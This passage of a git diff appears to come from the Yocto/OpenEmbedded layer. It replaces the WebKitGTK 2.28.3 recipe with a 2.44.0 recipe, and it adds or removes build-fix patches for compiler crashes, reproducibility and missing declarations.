++++ b/Source/JavaScriptCore/b3/B3Validate.cpp
+@@ -47,6 +47,12 @@
+ #include <wtf/StringPrintStream.h>
+ #include <wtf/text/CString.h>
+
++#if ENABLE(WEBASSEMBLY) && ENABLE(WEBASSEMBLY_B3JIT)
++#define simdScalarTypeToB3Type(type) toB3Type(Wasm::simdScalarType(type))
++#else
++#define simdScalarTypeToB3Type(type) B3::Type()
++#endif
++
+ namespace JSC { namespace B3 {
+
+ namespace {
+@@ -454,7 +460,7 @@ public:
+ case VectorExtractLane:
+ VALIDATE(!value->kind().hasExtraBits(), ("At ", *value));
+ VALIDATE(value->numChildren() == 1, ("At ", *value));
+- VALIDATE(value->type() == toB3Type(Wasm::simdScalarType(value->asSIMDValue()->simdLane())), ("At ", *value));
++ VALIDATE(value->type() == simdScalarTypeToB3Type(value->asSIMDValue()->simdLane()), ("At ", *value));
+ VALIDATE(value->child(0)->type() == V128, ("At ", *value));
+ break;
+ case VectorReplaceLane:
+@@ -462,7 +468,7 @@ public:
+ VALIDATE(value->numChildren() == 2, ("At ", *value));
+ VALIDATE(value->type() == V128, ("At ", *value));
+ VALIDATE(value->child(0)->type() == V128, ("At ", *value));
+- VALIDATE(value->child(1)->type() == toB3Type(Wasm::simdScalarType(value->asSIMDValue()->simdLane())), ("At ", *value));
++ VALIDATE(value->child(1)->type() == simdScalarTypeToB3Type(value->asSIMDValue()->simdLane()), ("At ", *value));
+ break;
+ case VectorDupElement:
+ VALIDATE(!value->kind().hasExtraBits(), ("At ", *value));
+@@ -484,7 +490,7 @@ public:
+ VALIDATE(!value->kind().hasExtraBits(), ("At ", *value));
+ VALIDATE(value->numChildren() == 1, ("At ", *value));
+ VALIDATE(value->type() == V128, ("At ", *value));
+- VALIDATE(value->child(0)->type() == toB3Type(Wasm::simdScalarType(value->asSIMDValue()->simdLane())), ("At ", *value));
++ VALIDATE(value->child(0)->type() == simdScalarTypeToB3Type(value->asSIMDValue()->simdLane()), ("At ", *value));
+ break;
+
+ case VectorPopcnt:
diff --git a/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch b/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch
deleted file mode 100644
index 4d1de72851..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/cross-compile.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Disable the tests meant to run when compiling natively
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: webkitgtk-2.14.5/Source/cmake/OptionsCommon.cmake
-===================================================================
---- webkitgtk-2.14.5.orig/Source/cmake/OptionsCommon.cmake
-+++ webkitgtk-2.14.5/Source/cmake/OptionsCommon.cmake
-@@ -67,8 +67,11 @@ endif ()
- # Detect Cortex-A53 core if CPU is ARM64 and OS is Linux.
- # Query /proc/cpuinfo for each available core and check reported CPU part number: 0xd03 signals Cortex-A53.
- # (see Main ID Register in ARM Cortex-A53 MPCore Processor Technical Reference Manual)
--set(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE OFF)
--if (WTF_CPU_ARM64 AND (${CMAKE_SYSTEM_NAME} STREQUAL "Linux"))
-+if( NOT WTF_CPU_ARM64_CORTEXA53_INITIALVALUE)
-+ set(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE OFF)
-+endif(WTF_CPU_ARM64_CORTEXA53_INITIALVALUE)
-+
-+if (WTF_CPU_ARM64 AND NOT CMAKE_CROSSCOMPILING AND (${CMAKE_SYSTEM_NAME} STREQUAL "Linux"))
- execute_process(COMMAND nproc OUTPUT_VARIABLE PROC_COUNT)
- math(EXPR PROC_MAX ${PROC_COUNT}-1)
- foreach (PROC_ID RANGE ${PROC_MAX})
diff --git a/meta/recipes-sato/webkit/webkitgtk/include_array.patch b/meta/recipes-sato/webkit/webkitgtk/include_array.patch
deleted file mode 100644
index 7268b04bf4..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/include_array.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Added missing include for std::array
-
-Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=197085]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp.org 2019-04-18 18:03:50.226231691 -0700
-+++ webkitgtk-2.24.0/Source/JavaScriptCore/assembler/PerfLog.cpp 2019-04-18 18:07:28.569153989 -0700
-@@ -31,6 +31,7 @@
- #include <elf.h>
- #include <fcntl.h>
- #include <mutex>
-+#include <array>
- #include <sys/mman.h>
- #include <sys/stat.h>
- #include <sys/syscall.h>
diff --git a/meta/recipes-sato/webkit/webkitgtk/no-musttail-arm.patch b/meta/recipes-sato/webkit/webkitgtk/no-musttail-arm.patch
new file mode 100644
index 0000000000..8ce37a01cc
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/no-musttail-arm.patch
@@ -0,0 +1,30 @@
+From a9c874f7418cefbe78f7cd26505ae495cb59bbcf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 12 Jan 2024 09:21:39 -0800
+Subject: [PATCH] clang/arm: Do not use MUST_TAIL_CALL
+
+This causes clang-17 to crash see [1]
+this code is new in webkit 2.42[2] thats why we do not see the crash in older webkit
+
+[1] https://github.com/llvm/llvm-project/issues/67767
+[2] https://github.com/WebKit/WebKit/commit/4d816460b765acd8aef90ab474615850b91ecc35
+
+Upstream-Status: Inappropriate [work around to avoid clang compiler crash]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Source/WTF/wtf/Compiler.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Source/WTF/wtf/Compiler.h b/Source/WTF/wtf/Compiler.h
+index 0ea5cb76..c5480dbc 100644
+--- a/Source/WTF/wtf/Compiler.h
++++ b/Source/WTF/wtf/Compiler.h
+@@ -284,7 +284,7 @@
+ /* MUST_TAIL_CALL */
+
+ #if !defined(MUST_TAIL_CALL) && defined(__cplusplus) && defined(__has_cpp_attribute)
+-#if __has_cpp_attribute(clang::musttail)
++#if __has_cpp_attribute(clang::musttail) && !defined(__arm__)
+ #define MUST_TAIL_CALL [[clang::musttail]]
+ #endif
+ #endif
diff --git a/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch b/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch
new file mode 100644
index 0000000000..93a431a0b1
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/reproducibility.patch
@@ -0,0 +1,30 @@
+From d096b945113ddecaf33062296e20b6d5a007cab3 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Mon, 3 Jan 2022 14:18:34 +0000
+Subject: [PATCH] webkitgtk: Add reproducibility fix
+
+Injection a year based on the current date isn't reproducible. Hack this
+to a specific year for now for reproducibilty and to avoid autobuilder failures.
+
+The correct fix would be to use SOURCE_DATE_EPOCH from the environment and
+then this could be submitted upstream, sadly my ruby isn't up to that.
+
+Upstream-Status: Pending [could be reworked]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ Source/JavaScriptCore/generator/GeneratedFile.rb | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Source/JavaScriptCore/generator/GeneratedFile.rb b/Source/JavaScriptCore/generator/GeneratedFile.rb
+index 6ed2b6e4..86a28286 100644
+--- a/Source/JavaScriptCore/generator/GeneratedFile.rb
++++ b/Source/JavaScriptCore/generator/GeneratedFile.rb
+@@ -25,7 +25,7 @@ require 'date'
+ require 'digest'
+
+ $LICENSE = <<-EOF
+-Copyright (C) #{Date.today.year} Apple Inc. All rights reserved.
++Copyright (C) 2021 Apple Inc. All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions
diff --git a/meta/recipes-sato/webkit/webkitgtk/t6-not-declared.patch b/meta/recipes-sato/webkit/webkitgtk/t6-not-declared.patch
new file mode 100644
index 0000000000..d4720e4f28
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/t6-not-declared.patch
@@ -0,0 +1,37 @@
+From 3d5373575695b293b8559155431d0079a6153aff Mon Sep 17 00:00:00 2001
+From: Michael Catanzaro <mcatanzaro@redhat.com>
+Date: Mon, 5 Feb 2024 11:00:49 -0600
+Subject: [PATCH] =?UTF-8?q?[GTK]=20[2.42.5]=20LowLevelInterpreter.cpp:339:?=
+ =?UTF-8?q?21:=20error:=20=E2=80=98t6=E2=80=99=20was=20not=20declared=20in?=
+ =?UTF-8?q?=20this=20scope=20https://bugs.webkit.org/show=5Fbug.cgi=3Fid?=
+ =?UTF-8?q?=3D268739?=
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Unreviewed build fix. Seems a backport went badly, and we didn't notice
+because the code is architecture-specific.
+
+* Source/JavaScriptCore/llint/LowLevelInterpreter.cpp:
+(JSC::CLoop::execute):
+
+Upstream-Status: Backport [https://github.com/WebKit/WebKit/commit/3d5373575695b293b8559155431d0079a6153aff]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ Source/JavaScriptCore/llint/LowLevelInterpreter.cpp | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/Source/JavaScriptCore/llint/LowLevelInterpreter.cpp b/Source/JavaScriptCore/llint/LowLevelInterpreter.cpp
+index 5064ead6cd2e7..9a2e2653b1219 100644
+--- a/Source/JavaScriptCore/llint/LowLevelInterpreter.cpp
++++ b/Source/JavaScriptCore/llint/LowLevelInterpreter.cpp
+@@ -336,8 +336,6 @@ JSValue CLoop::execute(OpcodeID entryOpcodeID, void* executableAddress, VM* vm,
+ UNUSED_VARIABLE(t2);
+ UNUSED_VARIABLE(t3);
+ UNUSED_VARIABLE(t5);
+- UNUSED_VARIABLE(t6);
+- UNUSED_VARIABLE(t7);
+
+ struct StackPointerScope {
+ StackPointerScope(CLoopStack& stack)
+
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.28.3.bb b/meta/recipes-sato/webkit/webkitgtk_2.28.3.bb
deleted file mode 100644
index 0158092265..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk_2.28.3.bb
+++ /dev/null
@@ -1,131 +0,0 @@
-SUMMARY = "WebKit web rendering engine for the GTK+ platform"
-HOMEPAGE = "https://www.webkitgtk.org/"
-BUGTRACKER = "https://bugs.webkit.org/"
-
-LICENSE = "BSD & LGPLv2+"
-LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
- file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
- file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
- file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
- "
-
-SRC_URI = "https://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
- file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
- file://0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch \
- file://0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch \
- file://0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch \
- file://0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch \
- file://0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch \
- file://cross-compile.patch \
- file://0001-Fix-build-with-musl.patch \
- file://include_array.patch \
- "
-SRC_URI[sha256sum] = "f0898ac072c220e13a4aee819408421a6cb56a6eb89170ceafe52468b0903522"
-
-inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gtk-doc
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'opengl', '', d)}"
-
-CVE_PRODUCT = "webkitgtk webkitgtk\+"
-
-DEPENDS = "zlib libsoup-2.4 curl libxml2 cairo libxslt libgcrypt \
- gtk+3 gstreamer1.0 gstreamer1.0-plugins-base flex-native gperf-native sqlite3 \
- pango icu bison-native gawk intltool-native libwebp \
- atk udev harfbuzz jpeg libpng librsvg libtheora libvorbis \
- ruby-native libnotify gstreamer1.0-plugins-bad \
- gettext-native glib-2.0 glib-2.0-native libtasn1 \
- "
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'webgl opengl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'webgl gles2', d)} \
- enchant \
- libsecret \
- "
-
-PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland libwpe wpebackend-fdo wayland-native"
-PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11 libxcomposite libxdamage libxrender libxt"
-PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
-PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant2"
-PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
-PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/libgl"
-PACKAGECONFIG[opengl] = "-DENABLE_OPENGL=ON,-DENABLE_OPENGL=OFF,virtual/libgl"
-PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
-PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
-PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
-PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
-
-# webkitgtk is full of /usr/bin/env python, particular for generating docs
-do_configure[postfuncs] += "setup_python_link"
-setup_python_link() {
- if [ ! -e ${STAGING_BINDIR_NATIVE}/python ]; then
- ln -s `which python3` ${STAGING_BINDIR_NATIVE}/python
- fi
-}
-
-EXTRA_OECMAKE = " \
- -DPORT=GTK \
- -DCMAKE_BUILD_TYPE=Release \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
- ${@bb.utils.contains('GTKDOC_ENABLED', 'True', '-DENABLE_GTKDOC=ON', '-DENABLE_GTKDOC=OFF', d)} \
- -DENABLE_MINIBROWSER=ON \
- -DPYTHON_EXECUTABLE=`which python3` \
- -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
- "
-
-# Javascript JIT is not supported on ARC
-EXTRA_OECMAKE_append_arc = " -DENABLE_JIT=OFF "
-# By default 25-bit "medium" calls are used on ARC
-# which is not enough for binaries larger than 32 MiB
-CFLAGS_append_arc = " -mlong-calls"
-CXXFLAGS_append_arc = " -mlong-calls"
-
-# Javascript JIT is not supported on powerpc
-EXTRA_OECMAKE_append_powerpc = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_powerpc64 = " -DENABLE_JIT=OFF "
-
-# ARM JIT code does not build on ARMv4/5/6 anymore
-EXTRA_OECMAKE_append_armv5 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv6 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv4 = " -DENABLE_JIT=OFF "
-
-EXTRA_OECMAKE_append_mipsarch = " -DUSE_LD_GOLD=OFF "
-EXTRA_OECMAKE_append_powerpc = " -DUSE_LD_GOLD=OFF "
-
-# JIT not supported on MIPS either
-EXTRA_OECMAKE_append_mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
-
-# JIT not supported on X32
-# An attempt was made to upstream JIT support for x32 in
-# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
-# unresolved due to limited X32 adoption.
-EXTRA_OECMAKE_append_x86-x32 = " -DENABLE_JIT=OFF "
-
-SECURITY_CFLAGS_remove_aarch64 = "-fpie"
-SECURITY_CFLAGS_append_aarch64 = " -fPIE"
-
-FILES_${PN} += "${libdir}/webkit2gtk-4.0/injected-bundle/libwebkit2gtkinjectedbundle.so"
-
-RRECOMMENDS_${PN} += "ca-certificates shared-mime-info"
-
-# http://errors.yoctoproject.org/Errors/Details/20370/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
-# https://bugs.webkit.org/show_bug.cgi?id=159880
-# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
-# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
-ARM_INSTRUCTION_SET_armv7a = "thumb"
-ARM_INSTRUCTION_SET_armv7r = "thumb"
-ARM_INSTRUCTION_SET_armv7ve = "thumb"
-
-# introspection inside qemu-arm hangs forever on musl/arm builds
-# therefore disable GI_DATA
-GI_DATA_ENABLED_libc-musl_armv7a = "False"
-GI_DATA_ENABLED_libc-musl_armv7ve = "False"
-
-# Can't be built with ccache
-CCACHE_DISABLE = "1"
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.44.0.bb b/meta/recipes-sato/webkit/webkitgtk_2.44.0.bb
new file mode 100644
index 0000000000..0819f6de0d
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk_2.44.0.bb
@@ -0,0 +1,187 @@
+SUMMARY = "WebKit web rendering engine for the GTK+ platform"
+HOMEPAGE = "https://www.webkitgtk.org/"
+BUGTRACKER = "https://bugs.webkit.org/"
+
+LICENSE = "BSD-2-Clause & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
+ file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
+ file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
+ file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
+ "
+
+SRC_URI = "https://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
+ file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
+ file://reproducibility.patch \
+ file://0001-CMake-Add-a-variable-to-control-macro-__PAS_ALWAYS_I.patch \
+ file://no-musttail-arm.patch \
+ file://t6-not-declared.patch \
+ file://30e1d5e22213fdaca2a29ec3400c927d710a37a8.patch \
+ file://2922af379dc70b4b1a63b01d67179eb431f03ac4.patch \
+ "
+SRC_URI[sha256sum] = "c66530e41ba59b1edba4ee89ef20b2188e273bed0497e95084729e3cfbe30c87"
+
+inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gi-docgen
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+CVE_PRODUCT = "webkitgtk webkitgtk\+"
+
+DEPENDS += " \
+ ruby-native \
+ gperf-native \
+ unifdef-native \
+ cairo \
+ harfbuzz \
+ jpeg \
+ atk \
+ libwebp \
+ gtk4 \
+ libxslt \
+ libtasn1 \
+ libnotify \
+ gstreamer1.0 \
+ gstreamer1.0-plugins-base \
+ glib-2.0-native \
+ gettext-native \
+ "
+
+PACKAGECONFIG_SOUP ?= "soup3"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd wayland x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'webgl opengl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'webgl gles2', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl-or-es', '', d)} \
+ enchant \
+ libsecret \
+ ${PACKAGECONFIG_SOUP} \
+ "
+
+PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland libwpe wpebackend-fdo wayland-native"
+PACKAGECONFIG[angle] = "-DUSE_ANGLE_WEBGL=ON,-DUSE_ANGLE_WEBGL=OFF"
+PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11 libxcomposite libxdamage libxrender libxt"
+PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
+PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant2"
+PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
+PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/egl"
+PACKAGECONFIG[opengl] = "-DENABLE_GRAPHICS_CONTEXT_GL=ON,-DENABLE_GRAPHICS_CONTEXT_GL=OFF,virtual/egl"
+PACKAGECONFIG[opengl-or-es] = "-DUSE_OPENGL_OR_ES=ON,-DUSE_OPENGL_OR_ES=OFF"
+PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
+PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
+PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
+PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
+PACKAGECONFIG[systemd] = "-DUSE_SYSTEMD=ON,-DUSE_SYSTEMD=off,systemd"
+PACKAGECONFIG[reduce-size] = "-DCMAKE_BUILD_TYPE=MinSizeRel,-DCMAKE_BUILD_TYPE=Release,,"
+PACKAGECONFIG[lcms] = "-DUSE_LCMS=ON,-DUSE_LCMS=OFF,lcms"
+PACKAGECONFIG[soup2] = "-DUSE_SOUP2=ON,-DUSE_SOUP2=OFF,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = ",,libsoup,,,soup2"
+PACKAGECONFIG[journald] = "-DENABLE_JOURNALD_LOG=ON,-DENABLE_JOURNALD_LOG=OFF,systemd"
+PACKAGECONFIG[avif] = "-DUSE_AVIF_LOG=ON,-DUSE_AVIF=OFF,libavif"
+PACKAGECONFIG[media-recorder] = "-DENABLE_MEDIA_RECORDER=ON,-DENABLE_MEDIA_RECORDER=OFF,gstreamer1.0-plugins-bad"
+PACKAGECONFIG[jpegxl] = "-DUSE_JPEGXL=ON,-DUSE_JPEGXL=OFF,libjxl"
+PACKAGECONFIG[backtrace] = "-DUSE_LIBBACKTRACE=ON,-DUSE_LIBBACKTRACE=OFF,libbacktrace"
+PACKAGECONFIG[gamepad] = "-DENABLE_GAMEPAD=ON,-DENABLE_GAMEPAD=OFF,libmanette"
+
+EXTRA_OECMAKE = " \
+ -DPORT=GTK \
+ ${@oe.utils.vartrue('GI_DATA_ENABLED', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
+ ${@oe.utils.vartrue('GIDOCGEN_ENABLED', '-DENABLE_DOCUMENTATION=ON', '-DENABLE_DOCUMENTATION=OFF', d)} \
+ ${@oe.utils.vartrue('DEBUG_BUILD', '-DWEBKIT_NO_INLINE_HINTS=ON', '-DWEBKIT_NO_INLINE_HINTS=OFFF', d)} \
+ -DENABLE_MINIBROWSER=ON \
+ -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
+ -DUSE_GTK4=ON \
+ -DCMAKE_EXPORT_COMPILE_COMMANDS=OFF \
+ "
+
+# Unless DEBUG_BUILD is enabled, pass -g1 to massively reduce the size of the
+# debug symbols (4.3GB to 700M at time of writing)
+DEBUG_FLAGS:append = "${@oe.utils.vartrue('DEBUG_BUILD', '', ' -g1', d)}"
+
+# Javascript JIT is not supported on ARC
+EXTRA_OECMAKE:append:arc = " -DENABLE_JIT=OFF "
+# By default 25-bit "medium" calls are used on ARC
+# which is not enough for binaries larger than 32 MiB
+CFLAGS:append:arc = " -mlong-calls"
+CXXFLAGS:append:arc = " -mlong-calls"
+
+# Needed for non-mesa graphics stacks when x11 is disabled
+CXXFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
+# Javascript JIT is not supported on powerpc
+EXTRA_OECMAKE:append:powerpc = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:powerpc64 = " -DENABLE_JIT=OFF "
+
+# ARM JIT code does not build on ARMv4/5/6 anymore
+EXTRA_OECMAKE:append:armv4 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv5 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv6 = " -DENABLE_JIT=OFF "
+
+# And for armv7* don't enable it for softfp, because after:
+# https://github.com/WebKit/WebKit/commit/a2ec4ef1997d6fafa6ffc607bffb54e76168a918
+# https://bugs.webkit.org/show_bug.cgi?id=242172
+# softfp armv7* fails because WEBASSEMBLY is left enabled by default and JIT gets
+# explicitly disabled causing:
+# http://errors.yoctoproject.org/Errors/Details/734587/
+# PR was sent upstream, but the end result is the same both JIT and WEBASSEMBLY disabled
+# https://github.com/WebKit/WebKit/pull/17447
+EXTRA_OECMAKE:append:armv7a = " -DENABLE_JIT=${@bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'ON', 'OFF', d)}"
+EXTRA_OECMAKE:append:armv7r = " -DENABLE_JIT=${@bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'ON', 'OFF', d)}"
+EXTRA_OECMAKE:append:armv7ve = " -DENABLE_JIT=${@bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'ON', 'OFF', d)}"
+
+EXTRA_OECMAKE:append:mipsarch = " -DUSE_LD_GOLD=OFF "
+EXTRA_OECMAKE:append:powerpc = " -DUSE_LD_GOLD=OFF "
+
+# JIT and gold linker does not work on RISCV
+EXTRA_OECMAKE:append:riscv32 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
+EXTRA_OECMAKE:append:riscv64 = " -DUSE_LD_GOLD=OFF"
+
+# JIT not supported on MIPS either
+EXTRA_OECMAKE:append:mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
+
+# JIT not supported on X32
+# An attempt was made to upstream JIT support for x32 in
+# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
+# unresolved due to limited X32 adoption.
+EXTRA_OECMAKE:append:x86-x32 = " -DENABLE_JIT=OFF "
+
+SECURITY_CFLAGS:remove:aarch64 = "-fpie"
+SECURITY_CFLAGS:append:aarch64 = " -fPIE"
+
+FILES:${PN} += "${libdir}/webkitgtk-*/injected-bundle/*.so"
+
+RRECOMMENDS:${PN} += "ca-certificates shared-mime-info"
+
+# http://errors.yoctoproject.org/Errors/Details/20370/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
+# https://bugs.webkit.org/show_bug.cgi?id=159880
+# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
+# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
+ARM_INSTRUCTION_SET:armv7a = "thumb"
+ARM_INSTRUCTION_SET:armv7r = "thumb"
+ARM_INSTRUCTION_SET:armv7ve = "thumb"
+
+# ANGLE requires SSE support as of webkit 2.40.x on 32 bit x86
+COMPATIBLE_HOST:x86 = "${@bb.utils.contains_any('TUNE_FEATURES', 'core2 corei7', '.*', 'null', d)}"
+
+# introspection inside qemu-arm hangs forever on musl/arm builds
+# therefore disable GI_DATA
+GI_DATA_ENABLED:libc-musl:armv7a = "False"
+GI_DATA_ENABLED:libc-musl:armv7ve = "False"
+
+# Can't be built with ccache
+CCACHE_DISABLE = "1"
+
+PACKAGE_PREPROCESS_FUNCS += "src_package_preprocess"
+src_package_preprocess () {
+ # Trim build paths from comments in generated sources to ensure reproducibility
+ sed -i -e "s,${WORKDIR},,g" \
+ ${B}/JavaScriptCore/DerivedSources/*.h \
+ ${B}/JavaScriptCore/DerivedSources/yarr/*.h \
+ ${B}/JavaScriptCore/PrivateHeaders/JavaScriptCore/*.h \
+ ${B}/WebCore/DerivedSources/*.cpp \
+ ${B}/WebKitGTK/DerivedSources/webkit/*.cpp
+}
+
diff --git a/meta/recipes-sato/webkit/wpebackend-fdo_1.14.2.bb b/meta/recipes-sato/webkit/wpebackend-fdo_1.14.2.bb
new file mode 100644
index 0000000000..b3d7b229c8
--- /dev/null
+++ b/meta/recipes-sato/webkit/wpebackend-fdo_1.14.2.bb
@@ -0,0 +1,24 @@
+SUMMARY = "WPE's backend based on a freedesktop.org stack."
+HOMEPAGE = "https://github.com/Igalia/WPEBackend-fdo"
+BUGTRACKER = "https://github.com/Igalia/WPEBackend-fdo/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1f62cef2e3645e3e74eb05fd389d7a66"
+DEPENDS = "glib-2.0 libxkbcommon wayland virtual/egl libwpe libepoxy"
+
